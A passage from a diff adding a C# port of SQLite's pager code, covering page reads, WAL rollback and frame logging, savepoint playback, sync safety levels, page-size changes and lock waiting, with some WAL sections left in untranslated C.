Debug.Assert( pPager.tempFile ); + Array.Clear( pPg.pData, 0, pPager.pageSize );// memset(pPg.pData, 0, pPager.pageSize); + return SQLITE_OK; + } + + if ( pagerUseWal( pPager ) ) + { + /* Try to pull the page from the write-ahead log. */ + rc = sqlite3WalRead( pPager.pWal, pgno, ref isInWal, pgsz, pPg.pData ); + } + if ( rc == SQLITE_OK && 0 == isInWal ) + { + i64 iOffset = ( pgno - 1 ) * (i64)pPager.pageSize; + rc = sqlite3OsRead( pPager.fd, pPg.pData, pgsz, iOffset ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + } + + if ( pgno == 1 ) + { + if ( rc != 0 ) + { + /* If the read is unsuccessful, set the dbFileVers[] to something + ** that will never be a valid file version. dbFileVers[] is a copy + ** of bytes 24..39 of the database. Bytes 28..31 should always be + ** zero or the size of the database in page. Bytes 32..35 and 35..39 + ** should be page numbers which are never 0xffffffff. So filling + ** pPager.dbFileVers[] with all 0xff bytes should suffice. + ** + ** For an encrypted database, the situation is more complex: bytes + ** 24..39 of the database are white noise. But the probability of + ** white noising equaling 16 bytes of 0xff is vanishingly small so + ** we should still be ok. + */ + for ( int i = 0; i < pPager.dbFileVers.Length; pPager.dbFileVers[i++] = 0xff ) + ; // memset(pPager.dbFileVers, 0xff, sizeof(pPager.dbFileVers)); + } + else + { + //u8[] dbFileVers = pPg.pData[24]; + Buffer.BlockCopy( pPg.pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length ); //memcpy(&pPager.dbFileVers, dbFileVers, sizeof(pPager.dbFileVers)); + } + } + if ( CODEC1( pPager, pPg.pData, pgno, SQLITE_DECRYPT ) ) + rc = SQLITE_NOMEM;//CODEC1(pPager, pPg.pData, pgno, 3, rc = SQLITE_NOMEM); + +#if SQLITE_TEST + // PAGER_INCR(ref sqlite3_pager_readdb_count); +#if !TCLSH + PAGER_INCR( ref sqlite3_pager_readdb_count ); +#else + int iValue; + iValue = sqlite3_pager_readdb_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_readdb_count.iValue = iValue; +#endif + + PAGER_INCR( ref pPager.nRead ); +#endif + IOTRACE( "PGIN %p %d\n", pPager, pgno ); + PAGERTRACE( "FETCH %d page %d hash(%08x)\n", + PAGERID( pPager ), pgno, pager_pagehash( pPg ) ); + + return rc; + } + + /* + ** Update the value of the change-counter at offsets 24 and 92 in + ** the header and the sqlite version number at offset 96. + ** + ** This is an unconditional update. See also the pager_incr_changecounter() + ** routine which only updates the change-counter if the update is actually + ** needed, as determined by the pPager.changeCountDone state variable. + */ + static void pager_write_changecounter( PgHdr pPg ) + { + u32 change_counter; + + /* Increment the value just read and write it back to byte 24. */ + change_counter = sqlite3Get4byte( pPg.pPager.dbFileVers, 0 ) + 1; + put32bits( pPg.pData, 24, change_counter ); + + /* Also store the SQLite version number in bytes 96..99 and in + ** bytes 92..95 store the change counter for which the version number + ** is valid. */ + put32bits( pPg.pData, 92, change_counter ); + put32bits( pPg.pData, 96, SQLITE_VERSION_NUMBER ); + } + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** This function is invoked once for each page that has already been +** written into the log file when a WAL transaction is rolled back. +** Parameter iPg is the page number of said page. The pCtx argument +** is actually a pointer to the Pager structure. +** +** If page iPg is present in the cache, and has no outstanding references, +** it is discarded. Otherwise, if there are one or more outstanding +** references, the page content is reloaded from the database. If the +** attempt to reload content from the database is required and fails, +** return an SQLite error code. Otherwise, SQLITE_OK. +*/ +static int pagerUndoCallback(void *pCtx, Pgno iPg){ +int rc = SQLITE_OK; +Pager *pPager = (Pager *)pCtx; +PgHdr *pPg; + +pPg = sqlite3PagerLookup(pPager, iPg); +if( pPg ){ +if( sqlite3PcachePageRefcount(pPg)==1 ){ +sqlite3PcacheDrop(pPg); +}else{ +rc = readDbPage(pPg); +if( rc==SQLITE_OK ){ +pPager.xReiniter(pPg); +} +sqlite3PagerUnref(pPg); +} +} + +/* Normally, if a transaction is rolled back, any backup processes are +** updated as data is copied out of the rollback journal and into the +** database. This is not generally possible with a WAL database, as +** rollback involves simply truncating the log file. Therefore, if one +** or more frames have already been written to the log (and therefore +** also copied into the backup databases) as part of this transaction, +** the backups must be restarted. +*/ +sqlite3BackupRestart(pPager.pBackup); + +return rc; +} + +/* +** This function is called to rollback a transaction on a WAL database. +*/ +static int pagerRollbackWal(Pager *pPager){ +int rc; /* Return Code */ +PgHdr *pList; /* List of dirty pages to revert */ + +/* For all pages in the cache that are currently dirty or have already +** been written (but not committed) to the log file, do one of the +** following: +** +** + Discard the cached page (if refcount==0), or +** + Reload page content from the database (if refcount>0). +*/ +pPager.dbSize = pPager.dbOrigSize; +rc = sqlite3WalUndo(pPager.pWal, pagerUndoCallback, (void *)pPager); +pList = sqlite3PcacheDirtyList(pPager.pPCache); +while( pList && rc==SQLITE_OK ){ +PgHdr *pNext = pList->pDirty; +rc = pagerUndoCallback((void *)pPager, pList->pgno); +pList = pNext; +} + +return rc; +} + + +/* +** This function is a wrapper around sqlite3WalFrames(). As well as logging +** the contents of the list of pages headed by pList (connected by pDirty), +** this function notifies any active backup processes that the pages have +** changed. +** +** The list of pages passed into this routine is always sorted by page number. +** Hence, if page 1 appears anywhere on the list, it will be the first page. +*/ +static int pagerWalFrames( +Pager *pPager, /* Pager object */ +PgHdr *pList, /* List of frames to log */ +Pgno nTruncate, /* Database size after this commit */ +int isCommit, /* True if this is a commit */ +int syncFlags /* Flags to pass to OsSync() (or 0) */ +){ +int rc; /* Return code */ +#if (SQLITE_DEBUG) || (SQLITE_CHECK_PAGES) +PgHdr *p; /* For looping over pages */ +#endif + +assert( pPager.pWal ); +#if SQLITE_DEBUG +/* Verify that the page list is in accending order */ +for(p=pList; p && p->pDirty; p=p->pDirty){ +assert( p->pgno < p->pDirty->pgno ); +} +#endif + + if( isCommit ){ + /* If a WAL transaction is being committed, there is no point in writing + ** any pages with page numbers greater than nTruncate into the WAL file. + ** They will never be read by any client. So remove them from the pDirty + ** list here. */ + PgHdr *p; + PgHdr **ppNext = &pList; + for(p=pList; (*ppNext = p); p=p->pDirty){ + if( p->pgno<=nTruncate ) ppNext = &p->pDirty; + } + assert( pList ); + } + + +if( pList->pgno==1 ) pager_write_changecounter(pList); +rc = sqlite3WalFrames(pPager.pWal, +pPager.pageSize, pList, nTruncate, isCommit, syncFlags +); +if( rc==SQLITE_OK && pPager.pBackup ){ +PgHdr *p; +for(p=pList; p; p=p->pDirty){ +sqlite3BackupUpdate(pPager.pBackup, p->pgno, (u8 *)p->pData); +} +} + +#if SQLITE_CHECK_PAGES +pList = sqlite3PcacheDirtyList(pPager.pPCache); +for(p=pList; p; p=p->pDirty){ +pager_set_pagehash(p); +} +#endif + +return rc; +} + +/* +** Begin a read transaction on the WAL. +** +** This routine used to be called "pagerOpenSnapshot()" because it essentially +** makes a snapshot of the database at the current point in time and preserves +** that snapshot for use by the reader in spite of concurrently changes by +** other writers or checkpointers. +*/ +static int pagerBeginReadTransaction(Pager *pPager){ +int rc; /* Return code */ +int changed = 0; /* True if cache must be reset */ + +assert( pagerUseWal(pPager) ); +assert( pPager.eState==PAGER_OPEN || pPager.eState==PAGER_READER ); + +/* sqlite3WalEndReadTransaction() was not called for the previous +** transaction in locking_mode=EXCLUSIVE. So call it now. If we +** are in locking_mode=NORMAL and EndRead() was previously called, +** the duplicate call is harmless. +*/ +sqlite3WalEndReadTransaction(pPager.pWal); + +rc = sqlite3WalBeginReadTransaction(pPager.pWal, &changed); +if( rc!=SQLITE_OK || changed ){ +pager_reset(pPager); +} + +return rc; +} +#endif + + /* + ** This function is called as part of the transition from PAGER_OPEN + ** to PAGER_READER state to determine the size of the database file + ** in pages (assuming the page size currently stored in Pager.pageSize). + ** + ** If no error occurs, SQLITE_OK is returned and the size of the database + ** in pages is stored in *pnPage. Otherwise, an error code (perhaps + ** SQLITE_IOERR_FSTAT) is returned and *pnPage is left unmodified. + */ + static int pagerPagecount( Pager pPager, ref Pgno pnPage ) + { + Pgno nPage; /* Value to return via *pnPage */ + + /* Query the WAL sub-system for the database size. The WalDbsize() + ** function returns zero if the WAL is not open (i.e. Pager.pWal==0), or + ** if the database size is not available. The database size is not + ** available from the WAL sub-system if the log file is empty or + ** contains no valid committed transactions. + */ + Debug.Assert( pPager.eState == PAGER_OPEN ); + Debug.Assert( pPager.eLock >= SHARED_LOCK || pPager.noReadlock != 0 ); + nPage = sqlite3WalDbsize( pPager.pWal ); + + /* If the database size was not available from the WAL sub-system, + ** determine it based on the size of the database file. If the size + ** of the database file is not an integer multiple of the page-size, + ** round down to the nearest page. Except, any file larger than 0 + ** bytes in size is considered to contain at least one page. + */ + if ( nPage == 0 ) + { + i64 n = 0; /* Size of db file in bytes */ + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + if ( isOpen( pPager.fd ) ) + { + int rc = sqlite3OsFileSize( pPager.fd, ref n ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + nPage = (Pgno)( n / pPager.pageSize ); + if ( nPage == 0 && n > 0 ) + { + nPage = 1; + } + } + + /* If the current number of pages in the file is greater than the + ** configured maximum pager number, increase the allowed limit so + ** that the file can be read. + */ + if ( nPage > pPager.mxPgno ) + { + pPager.mxPgno = (Pgno)nPage; + } + + pnPage = nPage; + return SQLITE_OK; + } + + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +/* +** Check if the *-wal file that corresponds to the database opened by pPager +** exists if the database is not empy, or verify that the *-wal file does +** not exist (by deleting it) if the database file is empty. +** +** If the database is not empty and the *-wal file exists, open the pager +** in WAL mode. If the database is empty or if no *-wal file exists and +** if no error occurs, make sure Pager.journalMode is not set to +** PAGER_JOURNALMODE_WAL. +** +** Return SQLITE_OK or an error code. +** +** The caller must hold a SHARED lock on the database file to call this +** function. Because an EXCLUSIVE lock on the db file is required to delete +** a WAL on a none-empty database, this ensures there is no race condition +** between the xAccess() below and an xDelete() being executed by some +** other connection. +*/ +static int pagerOpenWalIfPresent(Pager *pPager){ +int rc = SQLITE_OK; +Debug.Assert( pPager.eState==PAGER_OPEN ); +Debug.Assert( pPager.eLock>=SHARED_LOCK || pPager.noReadlock ); + +if( !pPager.tempFile ){ +int isWal; /* True if WAL file exists */ +Pgno nPage; /* Size of the database file */ + +rc = pagerPagecount(pPager, &nPage); +if( rc ) return rc; +if( nPage==0 ){ +rc = sqlite3OsDelete(pPager.pVfs, pPager.zWal, 0); +isWal = 0; +}else{ +rc = sqlite3OsAccess( +pPager.pVfs, pPager.zWal, SQLITE_ACCESS_EXISTS, &isWal +); +} +if( rc==SQLITE_OK ){ +if( isWal ){ +testcase( sqlite3PcachePagecount(pPager.pPCache)==0 ); +rc = sqlite3PagerOpenWal(pPager, 0); +}else if( pPager.journalMode==PAGER_JOURNALMODE_WAL ){ +pPager.journalMode = PAGER_JOURNALMODE_DELETE; +} +} +} +return rc; +} +#endif + + /* +** Playback savepoint pSavepoint. Or, if pSavepoint==NULL, then playback +** the entire master journal file. The case pSavepoint==NULL occurs when +** a ROLLBACK TO command is invoked on a SAVEPOINT that is a transaction +** savepoint. +** +** When pSavepoint is not NULL (meaning a non-transaction savepoint is +** being rolled back), then the rollback consists of up to three stages, +** performed in the order specified: +** +** * Pages are played back from the main journal starting at byte +** offset PagerSavepoint.iOffset and continuing to +** PagerSavepoint.iHdrOffset, or to the end of the main journal +** file if PagerSavepoint.iHdrOffset is zero. +** +** * If PagerSavepoint.iHdrOffset is not zero, then pages are played +** back starting from the journal header immediately following +** PagerSavepoint.iHdrOffset to the end of the main journal file. +** +** * Pages are then played back from the sub-journal file, starting +** with the PagerSavepoint.iSubRec and continuing to the end of +** the journal file. +** +** Throughout the rollback process, each time a page is rolled back, the +** corresponding bit is set in a bitvec structure (variable pDone in the +** implementation below). This is used to ensure that a page is only +** rolled back the first time it is encountered in either journal. +** +** If pSavepoint is NULL, then pages are only played back from the main +** journal file. There is no need for a bitvec in this case. +** +** In either case, before playback commences the Pager.dbSize variable +** is reset to the value that it held at the start of the savepoint +** (or transaction). No page with a page-number greater than this value +** is played back. If one is encountered it is simply skipped. +*/ + static int pagerPlaybackSavepoint( Pager pPager, PagerSavepoint pSavepoint ) + { + i64 szJ; /* Effective size of the main journal */ + i64 iHdrOff; /* End of first segment of main-journal records */ + int rc = SQLITE_OK; /* Return code */ + Bitvec pDone = null; /* Bitvec to ensure pages played back only once */ + + Debug.Assert( pPager.eState != PAGER_ERROR ); + Debug.Assert( pPager.eState >= PAGER_WRITER_LOCKED ); + + + /* Allocate a bitvec to use to store the set of pages rolled back */ + if ( pSavepoint != null ) + { + pDone = sqlite3BitvecCreate( pSavepoint.nOrig ); + //if ( null == pDone ) + //{ + // return SQLITE_NOMEM; + //} + } + + /* Set the database size back to the value it was before the savepoint + ** being reverted was opened. + */ + pPager.dbSize = pSavepoint != null ? pSavepoint.nOrig : pPager.dbOrigSize; + pPager.changeCountDone = pPager.tempFile; + + if ( !pSavepoint && pagerUseWal( pPager ) ) + { + return pagerRollbackWal( pPager ); + } + + /* Use pPager.journalOff as the effective size of the main rollback + ** journal. The actual file might be larger than this in + ** PAGER_JOURNALMODE_TRUNCATE or PAGER_JOURNALMODE_PERSIST. But anything + ** past pPager.journalOff is off-limits to us. + */ + szJ = pPager.journalOff; + Debug.Assert( pagerUseWal( pPager ) == false || szJ == 0 ); + + /* Begin by rolling back records from the main journal starting at + ** PagerSavepoint.iOffset and continuing to the next journal header. + ** There might be records in the main journal that have a page number + ** greater than the current database size (pPager.dbSize) but those + ** will be skipped automatically. Pages are added to pDone as they + ** are played back. + */ + if ( pSavepoint != null && !pagerUseWal( pPager ) ) + { + iHdrOff = pSavepoint.iHdrOffset != 0 ? pSavepoint.iHdrOffset : szJ; + pPager.journalOff = pSavepoint.iOffset; + while ( rc == SQLITE_OK && pPager.journalOff < iHdrOff ) + { + rc = pager_playback_one_page( pPager, ref pPager.journalOff, pDone, 1, 1 ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + else + { + pPager.journalOff = 0; + } + + /* Continue rolling back records out of the main journal starting at + ** the first journal header seen and continuing until the effective end + ** of the main journal file. Continue to skip out-of-range pages and + ** continue adding pages rolled back to pDone. + */ + while ( rc == SQLITE_OK && pPager.journalOff < szJ ) + { + u32 ii; /* Loop counter */ + u32 nJRec; /* Number of Journal Records */ + u32 dummy; + rc = readJournalHdr( pPager, 0, (int)szJ, out nJRec, out dummy ); + Debug.Assert( rc != SQLITE_DONE ); + + /* + ** The "pPager.journalHdr+JOURNAL_HDR_SZ(pPager)==pPager.journalOff" + ** test is related to ticket #2565. See the discussion in the + ** pager_playback() function for additional information. + */ + if ( nJRec == 0 + && pPager.journalHdr + JOURNAL_HDR_SZ( pPager ) >= pPager.journalOff + ) + { + nJRec = (u32)( ( szJ - pPager.journalOff ) / JOURNAL_PG_SZ( pPager ) ); + } + for ( ii = 0; rc == SQLITE_OK && ii < nJRec && pPager.journalOff < szJ; ii++ ) + { + rc = pager_playback_one_page( pPager, ref pPager.journalOff, pDone, 1, 1 ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + Debug.Assert( rc != SQLITE_OK || pPager.journalOff >= szJ ); + + /* Finally, rollback pages from the sub-journal. Page that were + ** previously rolled back out of the main journal (and are hence in pDone) + ** will be skipped. Out-of-range pages are also skipped. + */ + if ( pSavepoint != null ) + { + u32 ii; /* Loop counter */ + i64 offset = pSavepoint.iSubRec * ( 4 + pPager.pageSize ); + if ( pagerUseWal( pPager ) ) + { + rc = sqlite3WalSavepointUndo( pPager.pWal, pSavepoint.aWalData ); + } + for ( ii = pSavepoint.iSubRec; rc == SQLITE_OK && ii < pPager.nSubRec; ii++ ) + { + Debug.Assert( offset == ii * ( 4 + pPager.pageSize ) ); + rc = pager_playback_one_page( pPager, ref offset, pDone, 0, 1 ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + + sqlite3BitvecDestroy( ref pDone ); + if ( rc == SQLITE_OK ) + { + pPager.journalOff = (int)szJ; + } + return rc; + } + + /* + ** Change the maximum number of in-memory pages that are allowed. + */ + static void sqlite3PagerSetCachesize( Pager pPager, int mxPage ) + { + sqlite3PcacheSetCachesize( pPager.pPCache, mxPage ); + } + + /* + ** Adjust the robustness of the database to damage due to OS crashes + ** or power failures by changing the number of syncs()s when writing + ** the rollback journal. There are three levels: + ** + ** OFF sqlite3OsSync() is never called. This is the default + ** for temporary and transient files. + ** + ** NORMAL The journal is synced once before writes begin on the + ** database. This is normally adequate protection, but + ** it is theoretically possible, though very unlikely, + ** that an inopertune power failure could leave the journal + ** in a state which would cause damage to the database + ** when it is rolled back. + ** + ** FULL The journal is synced twice before writes begin on the + ** database (with some additional information - the nRec field + ** of the journal header - being written in between the two + ** syncs). If we assume that writing a + ** single disk sector is atomic, then this mode provides + ** assurance that the journal will not be corrupted to the + ** point of causing damage to the database during rollback. + ** + ** The above is for a rollback-journal mode. For WAL mode, OFF continues + ** to mean that no syncs ever occur. NORMAL means that the WAL is synced + ** prior to the start of checkpoint and that the database file is synced + ** at the conclusion of the checkpoint if the entire content of the WAL + ** was written back into the database. But no sync operations occur for + ** an ordinary commit in NORMAL mode with WAL. FULL means that the WAL + ** file is synced following each commit operation, in addition to the + ** syncs associated with NORMAL. + ** + ** Do not confuse synchronous=FULL with SQLITE_SYNC_FULL. The + ** SQLITE_SYNC_FULL macro means to use the MacOSX-style full-fsync + ** using fcntl(F_FULLFSYNC). SQLITE_SYNC_NORMAL means to do an + ** ordinary fsync() call. There is no difference between SQLITE_SYNC_FULL + ** and SQLITE_SYNC_NORMAL on platforms other than MacOSX. But the + ** synchronous=FULL versus synchronous=NORMAL setting determines when + ** the xSync primitive is called and is relevant to all platforms. + ** + ** Numeric values associated with these states are OFF==1, NORMAL=2, + ** and FULL=3. + */ +#if !SQLITE_OMIT_PAGER_PRAGMAS + static void sqlite3PagerSetSafetyLevel( + Pager pPager, /* The pager to set safety level for */ + int level, /* PRAGMA synchronous. 1=OFF, 2=NORMAL, 3=FULL */ + int bFullFsync, /* PRAGMA fullfsync */ + int bCkptFullFsync /* PRAGMA checkpoint_fullfsync */ + ) + { + Debug.Assert( level >= 1 && level <= 3 ); + + pPager.noSync = ( level == 1 || pPager.tempFile ); + pPager.fullSync = ( level == 3 && !pPager.tempFile ); + if ( pPager.noSync ) + { + pPager.syncFlags = 0; + pPager.ckptSyncFlags = 0; + } + else if ( bFullFsync != 0 ) + { + pPager.syncFlags = SQLITE_SYNC_FULL; + pPager.ckptSyncFlags = SQLITE_SYNC_FULL; + } + else if ( bCkptFullFsync != 0 ) + { + pPager.syncFlags = SQLITE_SYNC_NORMAL; + pPager.ckptSyncFlags = SQLITE_SYNC_FULL; + } + else + { + pPager.syncFlags = SQLITE_SYNC_NORMAL; + pPager.ckptSyncFlags = SQLITE_SYNC_NORMAL; + } + } +#endif + +/* +** The following global variable is incremented whenever the library +** attempts to open a temporary file. This information is used for +** testing and analysis only. +*/ +#if SQLITE_TEST +#if !TCLSH + static int sqlite3_opentemp_count = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_opentemp_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_opentemp_count" ); +#endif +#endif + + /* +** Open a temporary file. +** +** Write the file descriptor into *pFile. Return SQLITE_OK on success +** or some other error code if we fail. The OS will automatically +** delete the temporary file when it is closed. +** +** The flags passed to the VFS layer xOpen() call are those specified +** by parameter vfsFlags ORed with the following: +** +** SQLITE_OPEN_READWRITE +** SQLITE_OPEN_CREATE +** SQLITE_OPEN_EXCLUSIVE +** SQLITE_OPEN_DELETEONCLOSE +*/ + static int pagerOpentemp( + Pager pPager, /* The pager object */ + ref sqlite3_file pFile, /* Write the file descriptor here */ + int vfsFlags /* Flags passed through to the VFS */ + ) + { + int rc; /* Return code */ + +#if SQLITE_TEST +#if !TCLSH + sqlite3_opentemp_count++; /* Used for testing and analysis only */ +#else + sqlite3_opentemp_count.iValue++; /* Used for testing and analysis only */ +#endif +#endif + + vfsFlags |= SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | + SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_DELETEONCLOSE; + int dummy = 0; + rc = sqlite3OsOpen( pPager.pVfs, null, pFile, vfsFlags, ref dummy ); + Debug.Assert( rc != SQLITE_OK || isOpen( pFile ) ); + return rc; + } + + /* + ** Set the busy handler function. + ** + ** The pager invokes the busy-handler if sqlite3OsLock() returns + ** SQLITE_BUSY when trying to upgrade from no-lock to a SHARED lock, + ** or when trying to upgrade from a RESERVED lock to an EXCLUSIVE + ** lock. It does *not* invoke the busy handler when upgrading from + ** SHARED to RESERVED, or when upgrading from SHARED to EXCLUSIVE + ** (which occurs during hot-journal rollback). Summary: + ** + ** Transition | Invokes xBusyHandler + ** -------------------------------------------------------- + ** NO_LOCK . SHARED_LOCK | Yes + ** SHARED_LOCK . RESERVED_LOCK | No + ** SHARED_LOCK . EXCLUSIVE_LOCK | No + ** RESERVED_LOCK . EXCLUSIVE_LOCK | Yes + ** + ** If the busy-handler callback returns non-zero, the lock is + ** retried. If it returns zero, then the SQLITE_BUSY error is + ** returned to the caller of the pager API function. + */ + + static void sqlite3PagerSetBusyhandler( + Pager pPager, /* Pager object */ + dxBusyHandler xBusyHandler, /* Pointer to busy-handler function */ + //int (*xBusyHandler)(void *), + object pBusyHandlerArg /* Argument to pass to xBusyHandler */ + ) + { + pPager.xBusyHandler = xBusyHandler; + pPager.pBusyHandlerArg = pBusyHandlerArg; + } + + + /* + ** Change the page size used by the Pager object. The new page size + ** is passed in *pPageSize. + ** + ** If the pager is in the error state when this function is called, it + ** is a no-op. The value returned is the error state error code (i.e. + ** one of SQLITE_IOERR, an SQLITE_IOERR_xxx sub-code or SQLITE_FULL). + ** + ** Otherwise, if all of the following are true: + ** + ** * the new page size (value of *pPageSize) is valid (a power + ** of two between 512 and SQLITE_MAX_PAGE_SIZE, inclusive), and + ** + ** * there are no outstanding page references, and + ** + ** * the database is either not an in-memory database or it is + ** an in-memory database that currently consists of zero pages. + ** + ** then the pager object page size is set to *pPageSize. + ** + ** If the page size is changed, then this function uses sqlite3PagerMalloc() + ** to obtain a new Pager.pTmpSpace buffer. If this allocation attempt + ** fails, SQLITE_NOMEM is returned and the page size remains unchanged. + ** In all other cases, SQLITE_OK is returned. + ** + ** If the page size is not changed, either because one of the enumerated + ** conditions above is not true, the pager was in error state when this + ** function was called, or because the memory allocation attempt failed, + ** then *pPageSize is set to the old, retained page size before returning. + */ + static int sqlite3PagerSetPagesize( Pager pPager, ref u32 pPageSize, int nReserve ) + { + int rc = SQLITE_OK; + /* It is not possible to do a full assert_pager_state() here, as this + ** function may be called from within PagerOpen(), before the state + ** of the Pager object is internally consistent. + ** + ** At one point this function returned an error if the pager was in + ** PAGER_ERROR state. But since PAGER_ERROR state guarantees that + ** there is at least one outstanding page reference, this function + ** is a no-op for that case anyhow. + */ + + u32 pageSize = pPageSize; + Debug.Assert( pageSize == 0 || ( pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE ) ); + if ( ( pPager.memDb == 0 || pPager.dbSize == 0 ) + && sqlite3PcacheRefCount( pPager.pPCache ) == 0 + && pageSize != 0 && pageSize != (u32)pPager.pageSize + ) + { + //char *pNew = NULL; /* New temp space */ + i64 nByte = 0; + + if ( pPager.eState > PAGER_OPEN && isOpen( pPager.fd ) ) + { + rc = sqlite3OsFileSize( pPager.fd, ref nByte ); + } + //if ( rc == SQLITE_OK ) + //{ + //pNew = (char *)sqlite3PageMalloc(pageSize); + //if( !pNew ) rc = SQLITE_NOMEM; + //} + if ( rc == SQLITE_OK ) + { + pager_reset( pPager ); + pPager.dbSize = (Pgno)( nByte / pageSize ); + pPager.pageSize = (int)pageSize; + sqlite3PageFree( ref pPager.pTmpSpace ); + + pPager.pTmpSpace = sqlite3Malloc( pageSize );// pNew; + sqlite3PcacheSetPageSize( pPager.pPCache, (int)pageSize ); + } + } + pPageSize = (u32)pPager.pageSize; + if ( rc == SQLITE_OK ) + { + if ( nReserve < 0 ) + nReserve = pPager.nReserve; + Debug.Assert( nReserve >= 0 && nReserve < 1000 ); + pPager.nReserve = (i16)nReserve; + pagerReportSize( pPager ); + } + return rc; + } + + /* + ** Return a pointer to the "temporary page" buffer held internally + ** by the pager. This is a buffer that is big enough to hold the + ** entire content of a database page. This buffer is used internally + ** during rollback and will be overwritten whenever a rollback + ** occurs. But other modules are free to use it too, as long as + ** no rollbacks are happening. + */ + static byte[] sqlite3PagerTempSpace( Pager pPager ) + { + return pPager.pTmpSpace; + } + + /* + ** Attempt to set the maximum database page count if mxPage is positive. + ** Make no changes if mxPage is zero or negative. And never reduce the + ** maximum page count below the current size of the database. + ** + ** Regardless of mxPage, return the current maximum page count. + */ + static Pgno sqlite3PagerMaxPageCount( Pager pPager, int mxPage ) + { + if ( mxPage > 0 ) + { + pPager.mxPgno = (Pgno)mxPage; + } + Debug.Assert( pPager.eState != PAGER_OPEN ); /* Called only by OP_MaxPgcnt */ + Debug.Assert( pPager.mxPgno >= pPager.dbSize ); /* OP_MaxPgcnt enforces this */ + return pPager.mxPgno; + } + + /* + ** The following set of routines are used to disable the simulated + ** I/O error mechanism. These routines are used to avoid simulated + ** errors in places where we do not care about errors. + ** + ** Unless -DSQLITE_TEST=1 is used, these routines are all no-ops + ** and generate no code. + */ +#if SQLITE_TEST + //extern int sqlite3_io_error_pending; + //extern int sqlite3_io_error_hit; + static int saved_cnt; + static void disable_simulated_io_errors() + { +#if !TCLSH + saved_cnt = sqlite3_io_error_pending; + sqlite3_io_error_pending = -1; +#else + saved_cnt = sqlite3_io_error_pending.iValue; + sqlite3_io_error_pending.iValue = -1; +#endif + } + + static void enable_simulated_io_errors() + { +#if !TCLSH + sqlite3_io_error_pending = saved_cnt; +#else + sqlite3_io_error_pending.iValue = saved_cnt; +#endif + } +#else +//# define disable_simulated_io_errors() +//# define enable_simulated_io_errors() +#endif + + /* +** Read the first N bytes from the beginning of the file into memory +** that pDest points to. +** +** If the pager was opened on a transient file (zFilename==""), or +** opened on a file less than N bytes in size, the output buffer is +** zeroed and SQLITE_OK returned. The rationale for this is that this +** function is used to read database headers, and a new transient or +** zero sized database has a header than consists entirely of zeroes. +** +** If any IO error apart from SQLITE_IOERR_SHORT_READ is encountered, +** the error code is returned to the caller and the contents of the +** output buffer undefined. +*/ + static int sqlite3PagerReadFileheader( Pager pPager, int N, byte[] pDest ) + { + int rc = SQLITE_OK; + Array.Clear( pDest, 0, N ); //memset(pDest, 0, N); + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + + /* This routine is only called by btree immediately after creating + ** the Pager object. There has not been an opportunity to transition + ** to WAL mode yet. + */ + Debug.Assert( !pagerUseWal( pPager ) ); + + if ( isOpen( pPager.fd ) ) + { + IOTRACE( "DBHDR %p 0 %d\n", pPager, N ); + rc = sqlite3OsRead( pPager.fd, pDest, N, 0 ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + } + return rc; + } + + /* + ** This function may only be called when a read-transaction is open on + ** the pager. It returns the total number of pages in the database. + ** + ** However, if the file is between 1 and bytes in size, then + ** this is considered a 1 page file. + */ + static void sqlite3PagerPagecount( Pager pPager, out Pgno pnPage ) + { + Debug.Assert( pPager.eState >= PAGER_READER ); + Debug.Assert( pPager.eState != PAGER_WRITER_FINISHED ); + pnPage = pPager.dbSize; + } + + /* + ** Try to obtain a lock of type locktype on the database file. If + ** a similar or greater lock is already held, this function is a no-op + ** (returning SQLITE_OK immediately). + ** + ** Otherwise, attempt to obtain the lock using sqlite3OsLock(). Invoke + ** the busy callback if the lock is currently not available. Repeat + ** until the busy callback returns false or until the attempt to + ** obtain the lock succeeds. + ** + ** Return SQLITE_OK on success and an error code if we cannot obtain + ** the lock. If the lock is obtained successfully, set the Pager.state + ** variable to locktype before returning. + */ + static int pager_wait_on_lock( Pager pPager, int locktype ) + { + int rc; /* Return code */ + + /* Check that this is either a no-op (because the requested lock is + ** already held, or one of the transistions that the busy-handler + ** may be invoked during, according to the comment above + ** sqlite3PagerSetBusyhandler(). + */ + Debug.Assert( ( pPager.eLock >= locktype ) + || ( pPager.eLock == NO_LOCK && locktype == SHARED_LOCK ) + || ( pPager.eLock == RESERVED_LOCK && locktype == EXCLUSIVE_LOCK ) + ); + + do + { + rc = pagerLockDb( pPager, locktype ); + } while ( rc == SQLITE_BUSY && pPager.xBusyHandler( pPager.pBusyHandlerArg ) != 0 ); + return rc; + } + + /* + ** Function assertTruncateConstraint(pPager) checks that one of the + ** following is true for all dirty pages currently in the page-cache: + ** + ** a) The page number is less than or equal to the size of the + ** current database image, in pages, OR + ** + ** b) if the page content were written at this time, it would not + ** be necessary to write the current content out to the sub-journal + ** (as determined by function subjRequiresPage()). + ** + ** If the condition asserted by this function were not true, and the + ** dirty page were to be discarded from the cache via the pagerStress() + ** routine, pagerStress() would not write the current page content to + ** the database file. If a savepoint transaction were rolled back after + ** this happened, the correct behaviour would be to restore the current + ** content of the page. However, since this content is not present in either + ** the database file or the portion of the rollback journal and + ** sub-journal rolled back the content could not be restored and the + ** database image would become corrupt. It is therefore fortunate that + ** this circumstance cannot arise. + */ +#if SQLITE_DEBUG + static void assertTruncateConstraintCb( PgHdr pPg ) + { + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + Debug.Assert( !subjRequiresPage( pPg ) || pPg.pgno <= pPg.pPager.dbSize ); + } + static void assertTruncateConstraint( Pager pPager ) + { + sqlite3PcacheIterateDirty( pPager.pPCache, assertTruncateConstraintCb ); + } +#else +//# define assertTruncateConstraint(pPager) +static void 